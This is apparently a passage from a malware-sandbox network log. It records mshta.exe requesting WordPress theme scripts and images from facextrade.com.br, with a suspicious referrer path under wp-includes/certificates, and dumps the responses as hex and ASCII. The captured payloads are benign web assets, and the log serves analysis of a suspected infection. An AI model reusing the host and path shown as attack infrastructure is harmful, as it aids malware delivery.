24 2e 65 78 74 65 6e 64 28 67 65 74 4f 70 74 69 6f 6e 73 2c 20 6f 70 74 69 6f 6e 73 29 3b 0a 0a 09 09 76 61 72 0a 09 09 09 5f 74 68 69 73 20 3d 20 24 28 74 68 69 73 29 0a 09 09 2c 09 5f 77 69 6e 64 6f 77 20 3d 20 24 28 77 69 6e 64 6f 77 29 0a 09 09 2c 09 5f 64 6f 63 75 6d 65 6e 74 20 3d 20 24 28 64 6f 63 75 6d 65 6e 74 29 0a 09 09 2c 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 30 0a 09 09 2c 09 74 68 69 73 50 61 64 64 69 6e 67 54 6f 70 20 3d 20 30 0a 09 09 2c 09 64 6f 63 75 6d 65 6e 74 53 63 72 6f 6c 6c 20 3d 20 30 0a 09 09 2c 09 70 73 65 75 64 6f 42 6c 6f 63 6b 0a 09 09 2c 09 6c 61 73 74 53 63 72 6f 6c 6c 56 61 6c 75 65 20 3d 20 30 0a 09 09 2c 09 73 63 72 6f 6c 6c 44 69 72 20 3d 20 27 27 0a 09 09 2c 09 74 6d 70 53 63 72 6f 6c 6c 65 64 0a 09 09 3b 0a 0a 09 09 69 66 20 28 5f 74 68 69 73 2e 6c 65 6e 67 74 68 20 21 3d 20 30 29 20 7b 0a 09 09 09 69 6e 69 74 28 29 3b 0a 09 09 7d 0a 0a 09 09 66 75 6e 63 74 69 6f 6e 20 69 6e 69 74 28 29 7b 0a 09 09 09 74 68 69 73 4f 66 66 73 65 74 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 66 66 73 65 74 28 29 2e 74 6f 70 29 3b 0a 09 09 09 74 68 69 73 4d 61 72 67 69 6e 54 6f 70 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 63 73 73 28 22 6d 61 72 67 69 6e 2d 74 6f 70 22 29 29 3b 0a 09 09 09 74 68 69 73 4f 75 74 65 72 48 65 69 67 68 74 20 3d 20 70 61 72 73 65 49 6e 74 28 5f 74 68 69 73 2e 6f 75 74 65 72 48 65 69 67 68 74 28 74 72 75 65 29 29 3b 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 70 73 65 75 64 6f 29 7b 0a 09 09 09 09 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 22 3e 3c 2f 64 69 76 3e 27 29 2e 69 6e 73 65 72 74 41 66 74 65 72 28 5f 74 68 69 73 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 20 3d 20 24 28 27 2e 70 73 65 75 64 6f 53 74 69 63 6b 79 42 6c 6f 63 6b 27 29 3b 0a 09 09 09 09 70 73 65 75 64 6f 42 6c 6f 63 6b 2e 63 73 73 28 7b 22 70 6f 73 69 74 69 6f 6e 22 3a 22 72 65 6c 61 74 69 76 65 22 2c 20 22 64 69 73 70 6c 61 79 22 3a 22 62 6c 6f 63 6b 22 7d 29 3b 0a 09 09 09 7d 0a 0a 09 09 09 69 66 28 67 65 74 4f 70 74 69 6f 6e 73 2e 61 63 74 69 76 65 29 7b 0a 09 09 09 09 61 64 64 45 76 65 6e 74 73 46 75 Data Ascii: (function($){$.fn.tmStickUp=function(options){var getOptions = {correctionSelector: $('.correctionSelector'),listenSelector: $('.listenSelector'),active: false,pseudo: true}$.extend(getOptions, options);var_this = $(this),_window = $(window),_document = $(document),thisOffsetTop = 0,thisOuterHeight = 0,thisMarginTop = 0,thisPaddingTop = 0,documentScroll = 0,pseudoBlock,lastScrollValue = 0,scrollDir = '',tmpScrolled;if (_this.length != 0) {init();}function init(){thisOffsetTop = parseInt(_this.offset().top);thisMarginTop = parseInt(_this.css("margin-top"));thisOuterHeight = parseInt(_this.outerHeight(true));if(getOptions.pseudo){$('<div class="pseudoStickyBlock"></div>').insertAfter(_this);pseudoBlock = $('.pseudoStickyBlock');pseudoBlock.css({"position":"relative", "display":"block"});}if(getOptions.active){addEventsFu
Aug 16, 2022 11:45:11.332623005 CEST	4657	OUT	GET /wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:11.564152002 CEST	4683	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:51 GMT Server: Apache ETag: "a53555-2a0a-58592d4a732c0" Last-Modified: Tue, 02 Apr 2019 21:29:23 GMT Content-Length: 10762 Content-Type: application/x-javascript X-Pad: avoid browser bug Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383439 14780931 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 66 6e 2e 7a 41 63 63 6f 72 64 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 64 3d 7b 74 69 6d 65 6f 75 74 3a 36 30 30 30 2c 77 69 64 74 68 3a 6e 75 6c 6c 2c 73 6c 69 64 65 57 69 64 74 68 3a 6e 75 6c 6c 2c 74 61 62 57 69 64 74 68 3a 6e 75 6c 6c 2c 68 65 69 67 68 74 3a 6e 75 6c 6c 2c 73 74 61 72 74 69 6e 67 53 6c 69 64 65 3a 30 2c 73 6c 69 64 65 43 6c 61 73 73 3a 6e 75 6c 6c 2c 65 61 73 69 6e 67 3a 6e 75 6c 6c 2c 73 70 65 65 64 3a 31 32 30 30 2c 61 75 74 6f 3a 74 72 75 65 2c 74 72 69 67 67 65 72 3a 22 63 6c 69 63 6b 22 2c 70 61 75 73 65 3a 74 72 75 65 2c 69 6e 76 65 72 74 3a 66 61 6c 73 65 2c 61 6e 69 6d 61 74 69 6f 6e 53 74 61 72 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 61 6e 69 6d 61 74 69 6f 6e 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 62 75 69 6c 64 43 6f 6d 70 6c 65 74 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 65 72 72 6f 72 73 3a 66 61 6c 73 65 7d 2c 63 3d 7b 64 69 73 70 6c 61 79 45 72 72 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 66 29 7b 69 66 28 77 69 6e 64 6f 77 2e 63 6f 6e 73 6f 6c 65 26 26 66 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 7a 41 63 63 6f 72 64 69 6f 6e 3a 20 22 2b 67 2b 22 2e 22 29 7d 7d 2c 66 69 6e 64 43 68 69 6c 64 45 6c 65 6d 65 6e 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 2e 63 68 69 6c 64 72 65 6e 28 29 2e 67 65 74 28 30 29 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 7d 2c 67 65 74 4e 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 76 61 72 20 66 3d 68 2b 31 3b 69 66 28 66 3e 3d 67 29 7b 66 3d 30 7d 72 65 74 75 72 6e 20 66 7d 2c 66 69 78 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 21 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 66 2e 68 65 69 67 68 74 3d 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 21 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 74 72 75 65 7d 65 6c 73 65 7b 69 66 28 28 66 2e 68 65 69 67 68 74 3d 3d 3d 6e 75 6c 6c 29 26 26 28 66 2e 73 6c 69 64 65 48 65 69 67 68 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 29 7b 72 65 74 75 72 6e 20 66 61 6c 73 65 7d 7d 7d 7d 2c 67 65 74 55 6e 69 74 73 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 69 66 28 66 21 3d 3d 6e 75 6c 6c 29 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 25 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 25 22 7d 65 6c 73 65 7b 69 66 28 66 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 22 70 78 22 29 3e 2d 31 29 7b 72 65 74 75 72 6e 22 70 78 22 7d 65 6c 73 65 7b 72 65 74 75 72 Data Ascii: (function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{retur
Aug 16, 2022 11:45:11.595449924 CEST	4694	OUT	GET /wp-includes/js/wp-embed.min.js?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:11.827706099 CEST	4747	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:39:51 GMT Server: Apache ETag: "a55f36-56f-5c001a3bfb868" Last-Modified: Thu, 15 Apr 2021 12:02:38 GMT Content-Length: 1391 Content-Type: application/x-javascript Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383441 21929811 Age: 320 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 63 2c 64 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 21 31 2c 6e 3d 21 31 3b 69 66 28 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 69 66 28 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 65 3d 21 30 3b 69 66 28 63 2e 77 70 3d 63 2e 77 70 7c 7c 7b 7d 2c 21 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 29 69 66 28 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 64 61 74 61 3b 69 66 28 74 29 69 66 28 74 2e 73 65 63 72 65 74 7c 7c 74 2e 6d 65 73 73 61 67 65 7c 7c 74 2e 76 61 6c 75 65 29 69 66 28 21 2f 5b 5e 61 2d 7a 41 2d 5a 30 2d 39 5d 2f 2e 74 65 73 74 28 74 2e 73 65 63 72 65 74 29 29 7b 66 6f 72 28 76 61 72 20 72 2c 61 2c 69 2c 73 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 69 66 72 61 6d 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6e 3d 64 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 62 6c 6f 63 6b 71 75 6f 74 65 5b 64 61 74 61 2d 73 65 63 72 65 74 3d 22 27 2b 74 2e 73 65 63 72 65 74 2b 27 22 5d 27 29 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 6e 5b 6f 5d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 66 6f 72 28 6f 3d 30 3b 6f 3c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 69 66 28 72 3d 73 5b 6f 5d 2c 65 2e 73 6f 75 72 63 65 3d 3d 3d 72 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 29 7b 69 66 28 72 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 74 79 6c 65 22 29 2c 22 68 65 69 67 68 74 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 7b 69 66 28 31 65 33 3c 28 69 3d 70 61 72 73 65 49 6e 74 28 74 2e 76 61 6c 75 65 2c 31 30 29 29 29 69 3d 31 65 33 3b 65 6c 73 65 20 69 66 28 7e 7e 69 3c 32 30 30 29 69 3d 32 30 30 3b 72 2e 68 65 69 67 68 74 3d 69 7d 69 66 28 22 6c 69 6e 6b 22 3d 3d 3d 74 2e 6d 65 73 73 61 67 65 29 69 66 28 61 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 69 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 2c 61 2e 68 72 65 66 3d 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 2c 69 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 2c 69 2e 68 6f 73 74 3d 3d 3d 61 2e 68 6f 73 74 29 69 66 28 64 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 3d 3d 72 29 63 2e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 74 2e 76 61 6c 75 65 7d 7d 7d 2c 65 29 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 63 2e 77 70 2e 72 65 63 65 69 76 65 45 6d 62 65 64 4d 65 73 73 61 67 65 2c 21 31 29 2c 64 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 74 2c 21 31 29 2c 63 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 74 2c 21 31 29 3b 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 6e 29 7b 6e 3d 21 30 3b 66 6f 72 28 76 61 72 Data Ascii: !function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var
Aug 16, 2022 11:45:11.876846075 CEST	4758	OUT	GET /wp-content/themes/CherryFramework/images/up-arrow.png HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:12.108155012 CEST	4780	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:36:51 GMT Server: Apache ETag: "a530bd-55a-58592d41dde80" Last-Modified: Tue, 02 Apr 2019 21:29:14 GMT Content-Length: 1370 Content-Type: image/png Cache-Control: No-Cache Pragma: no-cache X-Varnish: 20383443 17189125 Age: 501 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1f 00 00 00 13 08 06 00 00 00 68 6c d6 42 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 b5 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 20 78 6d 6c 6e 73 3a 78 6d 70 52 69 67 68 74 73 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 72 69 67 68 74 73 2f 22 20 78 6d 6c 6e 73 3a 78 6d 70 4d 4d 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 6d 6d 2f 22 20 78 6d 6c 6e 73 3a 73 74 52 65 66 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 73 54 79 70 65 2f 52 65 73 6f 75 72 63 65 52 65 66 23 22 20 78 6d 6c 6e 73 3a 78 6d 70 3d 22 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 22 20 78 6d 70 52 69 67 68 74 73 3a 4d 61 72 6b 65 64 3d 22 46 61 6c 73 65 22 20 78 6d 70 4d 4d 3a 4f 72 69 67 69 6e 61 6c 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 36 34 37 30 31 37 46 45 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 36 34 37 30 31 37 46 44 33 37 43 36 31 31 45 32 42 39 31 43 44 35 36 32 43 35 37 38 38 45 34 45 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 36 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 34 32 36 35 30 38 39 42 33 46 32 46 45 32 31 31 41 43 37 43 44 38 37 38 36 31 45 35 36 43 37 45 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 30 32 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 46 35 30 30 30 31 44 36 32 42 38 31 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 Data Ascii: PNGIHDRhlBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49837	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:45:07.780038118 CEST	3241	OUT	GET /wp-content/themes/theme51253/images/content_bg4.jpg HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:45:08.009510994 CEST	3262	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:35:25 GMT Server: Apache ETag: "a53864-d9abf-58592d61568c0" Last-Modified: Tue, 02 Apr 2019 21:29:47 GMT Content-Length: 891583 Content-Type: image/jpeg Cache-Control: No-Cache Pragma: no-cache X-Varnish: 21588065 15664773 Age: 583 Via: 1.1 varnish-v4 Accept-Ranges: bytes Connection: keep-alive Data Raw: ff d8 ff e1 0d 82 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1c 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 8e 87 69 00 04 00 00 00 01 00 00 00 a4 00 00 00 d0 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 53 35 20 57 69 6e 64 6f 77 73 00 32 30 31 34 3a 30 39 3a 30 39 20 31 31 3a 32 39 3a 34 39 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 08 a0 a0 03 00 04 00 00 00 01 00 00 04 7e 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 1e 01 1b 00 05 00 00 00 01 00 00 01 26 01 28 00 03 00 00 00 01 00 02 00 00 02 01 00 04 00 00 00 01 00 00 01 2e 02 02 00 04 00 00 00 01 00 00 0c 4c 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 01 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 53 00 a0 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 b2 83 26 44 93 54 64 45 c2 a3 74 36 17 d2 55 e2 65 f2 b3 84 c3 d3 75 e3 f3 46 27 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 37 47 57 67 77 87 97 a7 b7 c7 d7 e7 f7 11 00 02 02 01 02 04 04 03 04 05 06 07 07 06 05 35 01 00 02 11 03 21 31 12 04 41 51 61 71 22 13 05 32 81 91 14 a1 b1 42 23 c1 52 d1 f0 33 24 62 e1 72 82 92 43 53 15 63 73 34 f1 25 06 16 a2 b2 83 07 26 35 c2 d2 44 93 54 a3 17 64 45 55 36 74 65 e2 f2 b3 84 c3 d3 75 e3 f3 46 94 a4 85 b4 95 c4 d4 e4 f4 a5 b5 c5 d5 e5 f5 56 66 76 86 96 a6 b6 c6 d6 e6 f6 27 37 47 57 67 77 87 97 a7 b7 c7 ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 f2 d0 1b 06 66 7b 42 50 13 ca 65 60 2d 54 24 92 52 8a 92 55 b0 87 07 10 dd 24 13 e2 3e 48 b4 3e a6 89 77 b9 d3 01 9d b8 fa 45 ca b4 a2 d2 fa 98 e0 f7 82 63 80 d8 1f f5 41 c9 20 87 a2 e9 ce c3 a1 8c c9 77 e6 38 1b 76 92 1d b4 7f a3 a9 e6 bd de ff 00 e5 2d da fe b7 f4 ed d4 0d 8e 63 43 40 75 61 bb 98 09 fa 5f a4 30 ff 00 d1 ae 1a cc d6 ba 0b 77 82 01 d1 c4 1d 4f c3 67 f9 c9 1c c2 f0 0d 92 e7 31 a1 ad 92 48 8f 99 f6 a2 24 b0 c2 fa Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop CS5 Windows2014:09:09 11:29:49~&(.LHHAdobe_CMAdobedS"?3!1AQa"q2B#$Rb34rC%Scs5&DTdEt6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw?f{BPe`-T$RU$>H>wEcA 